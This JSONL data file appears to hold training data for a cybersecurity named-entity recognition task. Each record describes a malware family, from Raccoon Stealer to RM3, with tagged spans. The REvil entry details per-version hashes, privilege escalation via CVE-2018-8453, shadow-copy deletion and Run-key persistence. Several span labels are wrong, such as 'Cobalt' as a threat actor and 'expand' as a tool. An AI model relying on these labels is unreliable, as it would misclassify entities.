+{"text": "Raccoon Stealer is a malware reportedly sold for $75 a week or $200 a month. It gathers personal information including passwords, browser cookies and autofill data, as well as cryptowallet details. Additionally, Raccoon Stealer records system information such as IP addresses and geo-location data.", "spans": {"MALWARE: Raccoon": [[0, 7], [212, 219]], "MALWARE: Raccoon Stealer": [[0, 15], [212, 227]]}, "info": {"source": "apt_reports", "name": "Raccoon"}}
+{"text": "Racket Downloader is an HTTP(S) downloader.\r\n\r\nIt uses a custom substitution cipher for decryption of its character strings, and RC5 with a 256-bit key for encryption and decryption of network traffic. \r\n\r\nIt sends an HTTP POST request containing a particular value that inspired its name, like \"?product_field=racket\" or \"prd_fld=racket\".\r\n\r\nRacket Downloader was deployed against South Korean targets running the Initech INISAFE CrossWeb EX software in Q2 2021 and Q1 2022.", "spans": {"MALWARE: Racket Downloader": [[0, 17], [343, 360]]}, "info": {"source": "apt_reports", "name": "Racket Downloader"}}
+{"text": "According to Bleeping Computer, the ransomware is used in targeted attacks against unpatched Citrix servers. It excludes Russian and Chinese targets using the system's Language ID for filtering. It also tries to disable Windows Defender and has a number of UNIX filepath references in its strings. Encryption method is AES using a dynamically generated key, then bundling this key up via RSA.", "spans": {"SYSTEM: Windows Defender": [[220, 236]], "SYSTEM: Windows": [[220, 227]], "SYSTEM: Citrix": [[93, 99]], "ORGANIZATION: RSA": [[388, 391]]}, "info": {"source": "apt_reports", "name": "Ragnarok"}}
+{"text": "According to Trend Micro, RAILSETTER is a persistence installer component designed to work with RAILLOAD. Its main functions include: Copying and renaming RAILLOAD’s intended host from System32 to the intended target directory; Timestomping RAILLOAD and its host’s create, access, and modify time; Creating a scheduled task for persistence.", "spans": {"MALWARE: RAILSETTER": [[26, 36]], "SYSTEM: Trend Micro": [[13, 24]]}, "info": {"source": "apt_reports", "name": "RAILSETTER"}}
+{"text": "Raindrop is a loader for Cobalt Strike that was observed in the SolarWinds attack.", "spans": {"MALWARE: Raindrop": [[0, 8]], "THREAT_ACTOR: Cobalt": [[25, 31]], "TOOL: Cobalt Strike": [[25, 38]], "SYSTEM: SolarWinds": [[64, 74]]}, "info": {"source": "apt_reports", "name": "Raindrop"}}
+{"text": "A ransomware written in Rust.", "spans": {"SYSTEM: Rust": [[24, 28]]}, "info": {"source": "apt_reports", "name": "RALord"}}
+{"text": "According to Check Point, Ramnit is primarily a banking trojan, meaning that its purpose is to steal login credentials for online banking, which cybercriminals can sell or use in future attacks. For this reason, Ramnit primarily targets individuals rather than focusing on particular industries.\r\n\r\nRamnit campaigns have been observed to target organizations in particular industries. For example, a 2019 campaign targeted financial organizations in the United Kingdom, Italy, and Canada.", "spans": {"MALWARE: Ramnit": [[26, 32], [212, 218], [299, 305]], "ORGANIZATION: Check Point": [[13, 24]]}, "info": {"source": "apt_reports", "name": "Ramnit"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Ranion"}}
+{"text": "RansomExx is a ransomware family that targeted multiple companies starting in mid-2020. It shares commonalities with Defray777.", "spans": {"MALWARE: RansomExx": [[0, 9]], "MALWARE: Defray777": [[117, 126]]}, "info": {"source": "apt_reports", "name": "RansomEXX"}}
+{"text": "Ransomware written in Golang and obfuscated with Gobfuscate, with significant code overlap to Knight ransomware.", "spans": {"MALWARE: Knight": [[94, 100]]}, "info": {"source": "apt_reports", "name": "RansomHub"}}
+{"text": "Ransomware SNC is a ransomware who encrypts files and asks for a variable amount of Bitcoin before releasing the decryption key to your files. The threat actor asks to be contacted for negotiating the right ransom fee.", "spans": {"MALWARE: SNC": [[11, 14]]}, "info": {"source": "apt_reports", "name": "SNC"}}
+{"text": "InfinityGroup notes that Rapid Ransomware, unlike regular Ransomware, stays active on the computer after initially encrypting the systems and also encrypts any new files that are created. It does this by creating auto-runs that are designed to launch the ransomware and display the ransom note every time the infected system is started.", "spans": {}, "info": {"source": "apt_reports", "name": "Rapid Ransom"}}
+{"text": "A spy trojan is a type of malware that has the capability to gather information from the infected system without consent from the user. This information is then sent to a remote attacker.", "spans": {}, "info": {"source": "apt_reports", "name": "RapidStealer"}}
+{"text": "This ransomware encrypts all user’s data on the PC (photos, documents, excel tables, music, videos, etc), adds its specific extension to every file, and creates the HOW_TO_DECYPHER_FILES.txt files in every folder which contains encrypted files.", "spans": {}, "info": {"source": "apt_reports", "name": "rarstar"}}
+{"text": "Worm spread by external drives that leverages Windows Installer to reach out to QNAP-associated domains and download a malicious DLL.", "spans": {"SYSTEM: QNAP": [[80, 84]], "SYSTEM: Windows": [[46, 53]]}, "info": {"source": "apt_reports", "name": "Raspberry Robin"}}
+{"text": "This is a backdoor that establishes persistence using the Startup folder. \r\nIt communicates to its C&C server using HTTPS and a static HTTP User-Agent \r\nstring. QUICKRIDE is capable of gathering information about the system, \r\ndownloading and loading executables, and uninstalling itself. It was leveraged \r\nagainst banks in Poland.", "spans": {"MALWARE: QUICKRIDE": [[161, 170]]}, "info": {"source": "apt_reports", "name": "Ratankba"}}
+{"text": "Razy is a malware family which uses a malicious browser extension in order to steal cryptocurrency.", "spans": {"MALWARE: Razy": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Razy"}}
+{"text": "A family identified by ESET Research in the InvisiMole campaign.", "spans": {"THREAT_ACTOR: InvisiMole": [[44, 54]], "SYSTEM: ESET": [[23, 27]]}, "info": {"source": "apt_reports", "name": "RC2FM"}}
+{"text": "Please note: ReactorBot in its naming is often mistakenly labeled as Rovnix. ReactorBot is a full blown bot with modules, whereas Rovnix is just a bootkit / driver component (originating from Carberp), occasionally delivered alongside ReactorBot.", "spans": {"MALWARE: ReactorBot": [[13, 23], [77, 87], [235, 245]], "VULNERABILITY: bootkit": [[147, 154]], "MALWARE: Carberp": [[192, 199]], "MALWARE: Rovnix": [[69, 75], [130, 136]]}, "info": {"source": "apt_reports", "name": "ReactorBot"}}
+{"text": "Reaver is a type of malware discovered by researchers at Palo Alto Networks in November 2017, but its activity dates back to at least late 2016. Researchers identified only ten unique samples of the malware, indicating limited use, and three different variants, noted as versions 1, 2, and 3. The malware is unique as its final payload masquerades as a control panel link (CPL) file. The intended targets of this activity are unknown as of this writing; however, it was used concurrently with the SunOrcal malware and the same C2 infrastructure used by threat actors who primarily target based on the \"Five Poisons\" - five perceived threats deemed dangerous to, and working against the interests of, the Chinese government.", "spans": {"MALWARE: Reaver": [[0, 6]], "SYSTEM: Palo Alto": [[57, 66]], "ORGANIZATION: Palo Alto Networks": [[57, 75]]}, "info": {"source": "apt_reports", "name": "Reaver"}}
+{"text": "This malware is a successor to Raccoon Stealer (also referred to as Raccoon Stealer 2.0), which is however a full rewrite in C/C++.", "spans": {"MALWARE: Raccoon Stealer": [[31, 46], [68, 83]], "MALWARE: Raccoon": [[31, 38], [68, 75]]}, "info": {"source": "apt_reports", "name": "RecordBreaker"}}
+{"text": "According to Trend Micro, this backdoor receives valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.", "spans": {"SYSTEM: Exchange Server": [[118, 133]], "SYSTEM: Trend Micro": [[13, 24]]}, "info": {"source": "apt_reports", "name": "RedCap"}}
+{"text": "According to Zscaler ThreatLabz, RedEnergy stealer uses a fake update campaign to target multiple industry verticals and possesses the ability to steal information from various browsers, enabling the exfiltration of sensitive data, while also incorporating different modules for carrying out ransomware activities.The name of the malware was kept due to the common method names observed during the analysis.", "spans": {"MALWARE: RedEnergy stealer": [[33, 50]], "ORGANIZATION: Zscaler": [[13, 20]]}, "info": {"source": "apt_reports", "name": "RedEnergy Stealer"}}
+{"text": "RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.", "spans": {"MALWARE: RedLine Stealer": [[0, 15]]}, "info": {"source": "apt_reports", "name": "RedLine Stealer"}}
+{"text": "Redosdru is a malware family that primarily acts as a downloader. Upon execution, it may drop downloaded DLLs in the \"%ProgramFiles%\\AppPatch\" directory. The malware modifies the Windows registry to ensure its persistence, adding entries to run automatically at system startup.", "spans": {"FILEPATH: %ProgramFiles%\\AppPatch\"": [[118, 142]], "MALWARE: Redosdru": [[0, 8]], "SYSTEM: Windows": [[179, 186]]}, "info": {"source": "apt_reports", "name": "Redosdru"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "RedRum"}}
+{"text": "REDSHAWL is a session hijacking utility that starts a new process as another user currently logged on to the same system via command-line.", "spans": {"MALWARE: REDSHAWL": [[0, 8]], "VULNERABILITY: session hijacking": [[14, 31]]}, "info": {"source": "apt_reports", "name": "REDSHAWL"}}
+{"text": "ReedBed, identified as a malware proxy backdoor, is suspected to be developed by QAKBOT devs, and was deployed by the threat actor Storm-1811 in campaigns observed during late October and early November 2024. These campaigns are typically initiated with email bombing, a tactic involving mass email distribution, followed by social engineering strategies where the actor impersonates help desk personnel to gain access to victim systems.\r\n\r\nUpon execution, ReedBed ensures single-instance operation via the mutex \"JhishdiI2Uhsvoc94keiojn7ns19m0do\" and hooks critical system APIs (NtCreateUserProcess, RtlExitUserProcess) for defense evasion, process interference, and anti-termination. It reads its Command and Control (C2) configuration, typically from the \"Software\\TitanPlus\" registry key, establishes a persistent SSL/TLS encrypted connection, and transmits an initial system information beacon. Subsequently, ReedBed enters its main operational loop, acting as a versatile network proxy based on C2 commands; this includes initiating outgoing TCP connections, relaying data bi-directionally, and establishing reverse SOCKS5 (with authentication) or direct TCP port mapping services via locally opened listening ports. If commanded or upon connection failure, it transitions into a restart/wait cycle guided by registry values, leveraging its hooked exit function to hinder termination before attempting to reconnect to the C2.", "spans": {"MALWARE: ReedBed": [[0, 7], [457, 464], [914, 921]], "MALWARE: Storm-1811": [[131, 141]]}, "info": {"source": "apt_reports", "name": "ReedBed"}}
+{"text": "Regin is a sophisticated malware and hacking toolkit attributed to United Kingdom' Government Communications Headquarters (GCHQ) for government spying operations. It was first publicly revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. Regin malware targeted victims in a range of industries, telecom, government, and financial institutions. It was engineered to be modular and over time dozens of modules have been found and attributed to this family. Symantec observed around 100 infections in 10 different countries across a variety of organisations including private companies, government entities, and research institutes.", "spans": {"MALWARE: Regin": [[0, 5], [258, 263]], "SYSTEM: Kaspersky": [[197, 206]], "SYSTEM: Symantec": [[212, 220], [475, 483]], "ORGANIZATION: GCHQ": [[123, 127]]}, "info": {"source": "apt_reports", "name": "Regin"}}
+{"text": "According to Nexttron Systems, RegPhantom is a stealthy Windows kernel rootkit designed to give attackers code execution in kernel mode while leaving very little visible evidence behind. The malware abuses the Windows registry as a covert trigger mechanism: a usermode process can send an encrypted command through a registry write, which the driver intercepts and turns into arbitrary kernel-mode code execution.", "spans": {"MALWARE: RegPhantom": [[31, 41]], "SYSTEM: Windows": [[56, 63], [210, 217]], "VULNERABILITY: code execution": [[106, 120], [398, 412]], "VULNERABILITY: rootkit": [[71, 78]]}, "info": {"source": "apt_reports", "name": "RegPhantom"}}
+{"text": "According to PCrisk, RegretLocker is malicious software classified as ransomware. Systems infected with this malware have their data encrypted and users receive ransom demands for decryption. During the encryption process, all affected files are appended with the \".mouse\" extension.", "spans": {"MALWARE: RegretLocker": [[21, 33]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "RegretLocker"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "RekenSom"}}
+{"text": "A Trojan for Winows with the same code structure and functionalities of elf.rekoobe, for Linux environment instead.", "spans": {"SYSTEM: Linux": [[89, 94]]}, "info": {"source": "apt_reports", "name": "win.rekoobe"}}
+{"text": "Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.\r\n\r\nRemcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.\r\nRemcos, once installed, opens a backdoor on the computer, granting full access to the remote user.\r\nRemcos is developed by the cybersecurity company BreakingSecurity.", "spans": {"TOOL: Remcos": [[0, 6], [128, 134], [291, 297], [391, 397]]}, "info": {"source": "apt_reports", "name": "Remcos"}}
+{"text": "Remexi is a highly advanced and stealthy malware discovered in recent times. It employs sophisticated evasion techniques to infiltrate target systems and networks undetected. This malware utilizes various propagation vectors, including exploit kits, social engineering tactics, and compromised websites. Once inside a system, Remexi establishes persistence through rootkit capabilities and leverages coAmmand-and-control infrastructure to receive and execute malicious commands. It possesses keylogging and data exfiltration capabilities, enabling it to steal sensitive information such as login credentials and financial data. Additionally, Remexi can download and execute additional payloads, making it adaptable and capable of evolving its malicious activities over time.", "spans": {"MALWARE: Remexi": [[0, 6], [326, 332], [642, 648]], "VULNERABILITY: rootkit": [[365, 372]], "VULNERABILITY: keylogging": [[492, 502]]}, "info": {"source": "apt_reports", "name": "Remexi"}}
+{"text": "According to Gen, this is most likely the 64bit evolution of Lumma Stealer. It is capable of stealing stored browser passwords, cookies, cryptocurrency, and much more. It also uses EtherHiding to resolve C2s, replacing the traditional use of Steam and Telegram dead drop resolvers, and has additional anti-analysis checks.", "spans": {"SYSTEM: Telegram": [[252, 260]], "MALWARE: Lumma Stealer": [[61, 74]]}, "info": {"source": "apt_reports", "name": "Remus"}}
+{"text": "According to Cisco Talos, Resident is a backdoor likely developed by the same author as win.warmcookie, and it was observed being delivered in intrusions they attribute to TA866.", "spans": {"MALWARE: Resident": [[26, 34]], "THREAT_ACTOR: TA866": [[172, 177]], "SYSTEM: Cisco": [[13, 18]], "ORGANIZATION: Talos": [[19, 24]], "ORGANIZATION: Cisco Talos": [[13, 24]]}, "info": {"source": "apt_reports", "name": "Resident"}}
+{"text": "Retefe is a Windows Banking Trojan that can also download and install additional malware onto the system using Windows PowerShell. It's primary functionality is to assist the attacker with stealing credentials for online banking websites. It is typically targeted against Swiss banks. The malware binary itself is primarily a dropper component for a Javascript file which builds a VBA file which in turn loads multiple tools onto the host including: 7zip and TOR. The VBA installs a new root certificate and then forwards all traffic via TOR to the attacker controlled host in order to effectively MITM TLS traffic.", "spans": {"MALWARE: Retefe": [[0, 6]], "TOOL: PowerShell": [[119, 129]], "TOOL: 7zip": [[450, 454]], "SYSTEM: Windows": [[12, 19], [111, 118]], "VULNERABILITY: MITM": [[598, 602]]}, "info": {"source": "apt_reports", "name": "Retefe"}}
+{"text": "According to its author, Revenant is a 3rd party agent for Havoc written in C, and based on Talon. This implant is meant to expand on the Talon implant by implementing covert methods of execution, robust capabilities, and more customization.", "spans": {"MALWARE: Revenant": [[25, 33]], "TOOL: Havoc": [[59, 64]], "TOOL: expand": [[124, 130]]}, "info": {"source": "apt_reports", "name": "Revenant"}}
+{"text": "According to Cofense, Revenge RAT is a simple and freely available Remote Access Trojan that automatically gathers system information before allowing threat actors to remotely access system components such as webcams, microphones, and various other utilities.", "spans": {"MALWARE: Revenge RAT": [[22, 33]], "ORGANIZATION: Cofense": [[13, 20]]}, "info": {"source": "apt_reports", "name": "Revenge RAT"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Reveton"}}
+{"text": "REvil Beta\r\nMD5: bed6fc04aeb785815744706239a1f243\r\nSHA1: 3d0649b5f76dbbff9f86b926afbd18ae028946bf\r\nSHA256: 3641b09bf6eae22579d4fd5aae420476a134f5948966944189a70afd8032cb45\r\n* Privilege escalation via CVE-2018-8453 (64-bit only)\r\n* Rerun with RunAs to elevate privileges\r\n* Implements a requirement that if \"exp\" is set, privilege escalation must be successful for full execution to occur\r\n* Implements target whitelisting using GetKetboardLayoutList\r\n* Contains debug console logging functionality\r\n* Defines the REvil registry root key as SOFTWARE\\!test\r\n* Includes two variable placeholders in the ransom note: UID & KEY\r\n* Terminates processes specified in the \"prc\" configuration key prior to encryption\r\n* Deletes shadow copies and disables recovery\r\n* Wipes contents of folders specified in the \"wfld\" configuration key prior to encryption\r\n* Encrypts all non-whitelisted files on fixed drives\r\n* Encrypts all non-whitelisted files on network mapped drives if it is running with System-level privileges or can impersonate the security context of explorer.exe\r\n* Partially implements a background image setting to display a basic \"Image text\" message\r\n* Sends encrypted system data to a C2 domain via an HTTPS POST request (URI path building is not implemented.)\r\n------------------------------------\r\nREvil 1.00\r\nMD5: 65aa793c000762174b2f86077bdafaea\r\nSHA1: 95a21e764ad0c98ea3d034d293aee5511e7c8457\r\nSHA256: f0c60f62ef9ffc044d0b4aeb8cc26b971236f24a2611cb1be09ff4845c3841bc\r\n* Adds 32-bit implementation of CVE-2018-8453 exploit\r\n* Removes console debug logging\r\n* Changes the REvil registry root key to SOFTWARE\\recfg\r\n* Removes the System/Impersonation success requirement for encrypting network mapped drives\r\n* Adds a \"wipe\" key to the configuration for optional folder wiping\r\n* Fully implements the background image setting and leverages values defined in the \"img\" configuration key\r\n* Adds an EXT variable placeholder to the ransom note to support UID, KEY, and EXT\r\n* Implements URI path building so encrypted system data is sent to a C2 pseudo-random URL\r\n* Fixes the function that returns the victim's username so the correct value is placed in the stats JSON data\r\n------------------------------------\r\nREvil 1.01\r\nMD5: 2abff29b4d87f30f011874b6e98959e9\r\nSHA1: 9d1b61b1cba411ee6d4664ba2561fa59cdb0732c\r\nSHA256: a88e2857a2f3922b44247316642f08ba8665185297e3cd958bbd22a83f380feb\r\n* Removes the exp/privilege escalation requirement for full execution and encrypts data regardless of privilege level\r\n* Makes encryption of network mapped drives optional by adding the \"-nolan\" argument\r\n------------------------------------\r\nREvil 1.02\r\nMD5: 4af953b20f3a1f165e7cf31d6156c035\r\nSHA1: b859de5ffcb90e4ca8e304d81a4f81e8785bb299\r\nSHA256: 89d80016ff4c6600e8dd8cfad1fa6912af4d21c5457b4e9866d1796939b48dc4\r\n* Enhances whitelisting validation by adding inspection of GetUserDefaultUILanguage and GetSystemDefaultUILanguage\r\n* Partially implements \"lock file\" logic by generating a lock filename based on the first four bytes of the Base64-decoded pk key, appending a .lock file extension, and adding the filename to the list of whitelisted files in the REvil configuration (It does not appear that this value is referenced after it is created and stored in memory. There is no evidence that a lock file is dropped to disk.)\r\n* Enhances folder whitelisting logic that take special considerations if the folder is associated with \"program files\" directories\r\n* Hard-codes whitelisting of all direct content within the Program Files or Program Files x86 directories\r\n* Hard-codes whitelisting of \"sql\" subfolders within program files\r\n* Encrypts program files sub-folders that does not contain \"sql\" in the path\r\n* Compares other folders to the list of whitelisted folders specified in the REvil configuration to determine if they are whitelisted\r\n* Encodes stored strings used for URI building within the binary and decodes them in memory right before use\r\n* Introduces a REvil registry root key \"sub_key\" registry value containing the attacker's public key\r\n------------------------------------\r\nREvil 1.03\r\nMD5: 3cae02306a95564b1fff4ea45a7dfc00\r\nSHA1: 0ce2cae5287a64138d273007b34933362901783d\r\nSHA256: 78fa32f179224c46ae81252c841e75ee4e80b57e6b026d0a05bb07d34ec37bbf\r\n* Removes lock file logic that was partially implemented in 1.02\r\n* Leverages WMI to continuously monitor for and kill newly launched processes whose names are listed in the prc configuration key (Previous versions performed this action once.)\r\n* Encodes stored shellcode\r\n* Adds the -path argument:\r\n* Does not wipe folders (even if wipe == true)\r\n* Does not set desktop background\r\n* Does not contact the C2 server (even if net == true)\r\n* Encrypts files in the specified folder and drops the ransom note\r\n* Changes the REvil registry root key to SOFTWARE\\QtProject\\OrganizationDefaults\r\n* Changes registry key values from --> to:\r\n  * sub_key --> pvg\r\n  * pk_key --> sxsP\r\n  * sk_key --> BDDC8\r\n  * 0_key --> f7gVD7\r\n  * rnd_ext --> Xu7Nnkd\r\n  * stat --> sMMnxpgk\r\n------------------------------------\r\nREvil 1.04\r\nMD5: 6e3efb83299d800edf1624ecbc0665e7\r\nSHA1: 0bd22f204c5373f1a22d9a02c59f69f354a2cc0d\r\nSHA256: 2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6\r\n* Leverages PowerShell and WMI to delete shadow copies if the victim's operating system is newer than Windows XP (For Windows XP or older, it uses the original command that was executed in all previous REvil versions.)\r\n* Removes the folder wipe capability\r\n* Changes the REvil registry root key to SOFTWARE\\GitForWindows\r\n* Changes registry key values from --> to:\r\n  * pvg --> QPM\r\n  * sxsP --> cMtS\r\n  * BDDC8 --> WGg7j\r\n  * f7gVD7 --> zbhs8h\r\n  * Xu7Nnkd --> H85TP10\r\n  * sMMnxpgk --> GCZg2PXD\r\n------------------------------------\r\nREvil v1.05\r\nMD5: cfefcc2edc5c54c74b76e7d1d29e69b2\r\nSHA1: 7423c57db390def08154b77e2b5e043d92d320c7\r\nSHA256: e430479d1ca03a1bc5414e28f6cdbb301939c4c95547492cdbe27b0a123344ea\r\n* Add new 'arn' configuration key that contains a boolean true/false value that controls whether or not to implement persistence.\r\n* Implements persistence functionality via registry Run key. Data for value is set to the full path and filename of the currently running executable. The executable is never moved into any 'working directory' such as %AppData% or %TEMP% as part of the persistence setup. The Reg Value used is the hardcoded value of 'lNOWZyAWVv' :\r\n  * SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\lNOWZyAWVv\r\n* Before exiting, REvil sets up its malicious executable to be deleted upon reboot by issuing a call to MoveFileExW and setting the destination to NULL and the flags to 4 (MOVEFILE_DELAY_UNTIL_REBOOT). This breaks persistence however as the target executable specified in the Run key will no longer exist once this is done.\r\n* Changes registry key values from --> to:\r\n  * QPM --> tgE\r\n  * cMtS --> 8K09\r\n  * WGg7j --> xMtNc\r\n  * zbhs8h --> CTgE4a\r\n  * H85TP10 --> oE5bZg0\r\n  * GCZg2PXD --> DC408Qp4\r\n------------------------------------\r\nREvil v1.06\r\nMD5: 65ff37973426c09b9ff95f354e62959e\r\nSHA1: b53bc09cfbd292af7b3609734a99d101bd24d77e\r\nSHA256: 0e37d9d0a7441a98119eb1361a0605042c4db0e8369b54ba26e6ba08d9b62f1e\r\n* Updated string decoding function to break existing yara rules. Likely the result of the blog posted by us.\r\n* Modified handling of network file encryption. Now explicitly passes every possible \"Scope\" constant to the WNetOpenEnum function when looking for files to encrypt. It also changed the 'Resource Type\" from RESOURCETYPE_DISK to RESOURCETYPE_ANY which will now include things like mapped printers.\r\n* Persistence registry value changed from 'lNOWZyAWVv' to 'sNpEShi30R'\r\n* Changes registry key values from --> to:\r\n  * tgE --> 73g\r\n  * 8K09 --> vTGj\r\n  * xMtNc --> Q7PZe\r\n  * CTgE4a --> BuCrIp\r\n  * oE5bZg0 --> lcZd7OY\r\n  * DC408Qp4 --> sLF86MWC\r\n------------------------------------\r\nREvil v1.07\r\nMD5: ea4cae3d6d8150215a4d90593a4c30f2\r\nSHA1: 8dcbcbefaedf5675b170af3fd44db93ad864894e\r\nSHA256: 6a2bd52a5d68a7250d1de481dcce91a32f54824c1c540f0a040d05f757220cd3\r\nTBD", "spans": {"CVE_ID: CVE-2018-8453": [[200, 213], [1512, 1525]], "FILEPATH: %AppData%": [[6307, 6316]], "FILEPATH: %TEMP%": [[6320, 6326]], "HASH: 3641b09bf6eae22579d4fd5aae420476a134f5948966944189a70afd8032cb45": [[107, 171]], "HASH: f0c60f62ef9ffc044d0b4aeb8cc26b971236f24a2611cb1be09ff4845c3841bc": [[1414, 1478]], "HASH: a88e2857a2f3922b44247316642f08ba8665185297e3cd958bbd22a83f380feb": [[2327, 2391]], "HASH: 89d80016ff4c6600e8dd8cfad1fa6912af4d21c5457b4e9866d1796939b48dc4": [[2743, 2807]], "HASH: 78fa32f179224c46ae81252c841e75ee4e80b57e6b026d0a05bb07d34ec37bbf": [[4203, 4267]], "HASH: 2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6": [[5182, 5246]], "HASH: e430479d1ca03a1bc5414e28f6cdbb301939c4c95547492cdbe27b0a123344ea": [[5893, 5957]], "HASH: 0e37d9d0a7441a98119eb1361a0605042c4db0e8369b54ba26e6ba08d9b62f1e": [[7131, 7195]], "HASH: 6a2bd52a5d68a7250d1de481dcce91a32f54824c1c540f0a040d05f757220cd3": [[7999, 8063]], "HASH: 3d0649b5f76dbbff9f86b926afbd18ae028946bf": [[57, 97]], "HASH: 95a21e764ad0c98ea3d034d293aee5511e7c8457": [[1364, 1404]], "HASH: 9d1b61b1cba411ee6d4664ba2561fa59cdb0732c": [[2277, 2317]], "HASH: b859de5ffcb90e4ca8e304d81a4f81e8785bb299": [[2693, 2733]], "HASH: 0ce2cae5287a64138d273007b34933362901783d": [[4153, 4193]], "HASH: 0bd22f204c5373f1a22d9a02c59f69f354a2cc0d": [[5132, 5172]], "HASH: 7423c57db390def08154b77e2b5e043d92d320c7": [[5843, 5883]], "HASH: b53bc09cfbd292af7b3609734a99d101bd24d77e": [[7081, 7121]], "HASH: 8dcbcbefaedf5675b170af3fd44db93ad864894e": [[7949, 7989]], "HASH: bed6fc04aeb785815744706239a1f243": [[17, 49]], "HASH: 65aa793c000762174b2f86077bdafaea": [[1324, 1356]], "HASH: 2abff29b4d87f30f011874b6e98959e9": [[2237, 2269]], "HASH: 4af953b20f3a1f165e7cf31d6156c035": [[2653, 2685]], "HASH: 3cae02306a95564b1fff4ea45a7dfc00": [[4113, 4145]], "HASH: 6e3efb83299d800edf1624ecbc0665e7": [[5092, 5124]], "HASH: cfefcc2edc5c54c74b76e7d1d29e69b2": [[5803, 5835]], "HASH: 65ff37973426c09b9ff95f354e62959e": [[7041, 7073]], "HASH: ea4cae3d6d8150215a4d90593a4c30f2": [[7909, 7941]], "MALWARE: REvil": [[0, 5], [513, 518], [1307, 1312], [1582, 1587], [2220, 2225], [2636, 2641], [3154, 3159], [3788, 3793], [3971, 3976], [4096, 4101], [4791, 4796], [5075, 5080], [5450, 5455], [5520, 5525], [5785, 5790], [6502, 6507], [7023, 7028], [7891, 7896]], "TOOL: PowerShell": [[5260, 5270]], "SYSTEM: WMI": [[4347, 4350], [5275, 5278]], "SYSTEM: Windows": [[5350, 5357], [5366, 5373], [6445, 6452]], "SYSTEM: Windows XP": [[5350, 5360], [5366, 5376]], "ORGANIZATION: Microsoft": [[6435, 6444]], "VULNERABILITY: privilege escalation": [[320, 340], [2411, 2431]]}, "info": {"source": "apt_reports", "name": "REvil"}}
+{"text": "According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.\r\n\r\nAt the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.", "spans": {"MALWARE: Rhadamanthys": [[21, 33], [301, 313]], "TOOL: AnyDesk": [[263, 270]], "SYSTEM: Zoom": [[272, 276]], "ORGANIZATION: PCrisk": [[13, 19]], "ORGANIZATION: Google": [[433, 439], [499, 505]]}, "info": {"source": "apt_reports", "name": "Rhadamanthys"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Rhino"}}
+{"text": "Rietspoof is malware that mainly acts as a dropper and downloader, however, it also sports bot capabilities and appears to be in active development.", "spans": {"MALWARE: Rietspoof": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Rietspoof"}}
+{"text": "RiseLoader is a new malware loader family first observed in October 2024. It uses a custom TCP-based binary network protocol similar to, but distinct from, that used by the PrivateLoader and RisePro malware families. RiseLoader often drops other malware families, such as Vidar, Lumma Stealer, and XMRig, as secondary payloads. It collects information about installed applications and browser extensions, likely related to cryptocurrency.\r\n\r\nKey technical characteristics of RiseLoader include:\r\n\r\nAnti-analysis Techniques: Samples are often packed with VMProtect and obfuscate strings related to malware analysis and debugging tools.\r\n\r\nBehavioural Analysis: Creates a mutex with a hardcoded prefix and randomly generated suffixes. Communicates with a C2 server over TCP using a custom protocol involving specific message types for tasks such as transferring system information, receiving payloads, and confirming execution. Downloads and executes payloads from URLs provided by the C2 server. Creates registry keys as infection markers.\r\n\r\nNetwork Communication: Uses a custom TCP-based protocol with message types like SEND_VICTIM_INFO, SYS_INFO, PAYLOADS, KEEPALIVE, and others. Data is XOR encoded using keys exchanged via a SET_XORKEYS message. The protocol includes a three-way handshake and mechanisms for re-establishing connections.\r\n\r\nSimilarities to RisePro/PrivateLoader: Shares similar network communication protocols and message structures with RisePro and PrivateLoader suggesting a potential link between their developers, though RiseLoader's protocol appears simplified. It currently lacks RisePro/PrivateLoader's information-stealing features but may be under development.", "spans": {"MALWARE: RiseLoader": [[0, 10], [217, 227], [475, 485], [1547, 1557]], "MALWARE: Lumma Stealer": [[279, 292]], "MALWARE: RisePro": [[191, 198], [1362, 1369], [1460, 1467], [1608, 1615]], "MALWARE: Vidar": [[272, 277]], "MALWARE: PrivateLoader": [[173, 186], [1370, 1383], [1472, 1485], [1616, 1629]]}, "info": {"source": "apt_reports", "name": "RiseLoader"}}
+{"text": "RisePro is a stealer that is spread through downloaders like win.privateloader. Once executed on a system, the malware can steal credit card information, passwords, and personal data.", "spans": {"MALWARE: RisePro": [[0, 7]]}, "info": {"source": "apt_reports", "name": "RisePro"}}
+{"text": "Created from the codebase of Gozi/ISFB.", "spans": {"MALWARE: Gozi": [[29, 33]], "MALWARE: ISFB": [[34, 38]]}, "info": {"source": "apt_reports", "name": "RM3"}}
